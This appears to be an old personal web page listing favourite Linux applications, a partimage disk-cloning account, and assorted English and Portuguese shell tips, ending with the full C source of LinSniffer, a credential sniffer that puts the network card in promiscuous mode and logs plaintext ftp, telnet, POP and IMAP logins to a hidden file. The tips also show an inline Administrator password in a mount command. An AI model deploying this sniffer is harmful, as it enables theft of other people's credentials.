|
I will put here my favorite Linux applications and why: if you fell i'm not rigth send me your oppinion and maybe i change mine :) Linux Distribution: Mandrake. Easy, well integrated, updated. Browser: Mozilla. Graphics viewer: gThumb. Fast with thumbnail and lots of options. HTML Editor: All the html code in this site is done whith Quanta. LaTeX Editor: Ktexmaker2 is just excelent! Try it. Card Game: Pysol. More card games you can ever play. Spreadsheet: Gnumeric. Compatible and powerfull Document Writer: Abiword Presentation: Kpresenter. Really easy and stable. Mp3 player: xmms. Network analyser: Ethereal. How to install multiple pcs in a snap ?The true story telled by someone who survive it. :)First go to partimage.org and download the 2 floppys already avaiable. Then you may realize that maybe your network card isn't recognized, because the kernel only supports a few cards. So you have two options: you can make a boot floppy following the instructions on the site or you can get one already made from slackware linux distribution. Because I needed RTL8139 support I downloaded from slackware the inet.o image floppy and then I made dd if=inet.o of=/dev/fd0 and then booted the server that had two hard drives one that i wanted to copy and one that will hold the image from the first. So after i booted with the two floppies boot+root i started by saying what was my keyboard keys pt and then the ip of the server ifconfig eth0 10.20.22.142 then mounted the second hard drive in /mnt and then i runned partimage,choosed the hda1 partition to make the image and selected /mnt/backup1.gz to store the image then press F5 and waited. After that i exited from partimage and runned partimaged in the server... Then you go to each clone and boot the 2 floppies and then configure the keys, the ip and then run partimage. After that you are only missing setting up the clone so that it's correctly configured. That of course depends from the distribtion choosed. In my case i was using debian woody and because of that i booted the 2 floppies from woody install and then instead of running the install go to a console [Alt+F2] and mount the partition then go to /mnt/etc/hosts, /mnt/etc/hostname and /mnt/etc/network/interfaces and set the network. Then you must do chroot /mnt and after checking lilo.conf run lilo. After that press the reboot and close your eyes and cross your fingers, and taraaaam :) Linux TipsX NetworkingX -query some_host_ip :1 put in the exporting host in /etc/X11/xdm/Xaccess the ip of the client. If this doesn't work search for a -nolisten tcp in the start X script wherever it is. export DISPLAY=my_host_ip:0 in the remote host and remember to use xhost +remote_host in your xterm. NFS Remember that the maximum allowed file size is 2 Gb so when doing a tar gz must do a pipe to split tar cfz - /users | split -b 650000k - /tmp_mnt/backup.tgz_ To do a backup from a mounted partition for moving later to another disk for example do: tar czf /tmp_mnt/backup.tgz --exclude /etc --exclude /tmp_mnt --exclude /home --exclude /proc --exclude /tmp / To force a fsck without any questions on boot put in the script that checks if the last umount was sucesseful fsck -p -y / or ou can use a journaling filesystem like ReiserFS, ext3 or XFS, etc. Gravar CD cdrecord -v -scanbus para ver qual o scsi id do cdrom ide :) Deve ser qualquer coisa como 0,0,0 Para apagar um CDRW a 10x fazer: cdrecord dev=0,0,0 -c speed=10 blank=fast Para gravar um directório on-the-fly mkisofs -R /mydir | cdrecord -v speed=10 dev=0,0,0 - How to make a Mng animation from a sequence of images? convert -loop 1 -delay 1 -colors 255 -colorspace GRAY *.pgm collection.mng How to mount a Windows Share in Linux ? mount -t smbfs //windowspc/sharename /mnt/mydir/ -o username=Administrator,password=112233aabbcc How to do a command n times in bash? for i in 1 2 3 4 5;do echo $i;done for i in `seq 1 5`;do echo $i;done Substitute spaces for _ in several files? for i in *.mp3; do mv "$i" `echo $i |tr ' ' '_'` ; done Output all messages to a tty in syslog.conf put *.* /dev/tty12 Usar vi Substituir palavras :s/str1/str2/ Usar gcc gcc teste.cc -o teste -I. -L. -lm -lstdc++ Linux in ARM
An advice after instaling Familiar get qte it's just great, check the qt page or the sharp zaurus.To end in style a little of open source
/*
LinSniffer 0.03.9 [BETA; so if it crashes your network... ]
Originally by: Mike Edulla (medulla@infosoc.com)
Modified by XinU for the net poSSe.
For legal/educational use only.
We are not responsible for your stupidity.
Last Modified: March 15, 1997
To compile: gcc -o linsniff linsniff.c
To Run: touch /root/private/.sniff.log
./linsniff &
tail -f /root/private/.sniff.log
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8193];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 1024
#define TIMEOUT 31
#define TCPLOG "/root/private/.sniff.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous
mode)");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n-----+ [Timed Out]+\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
create it first eg: touch %s \n",TCPLOG);exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Awww.... that hurts!....\n");
close(s);
fclose(fp);
exit(0);
}
|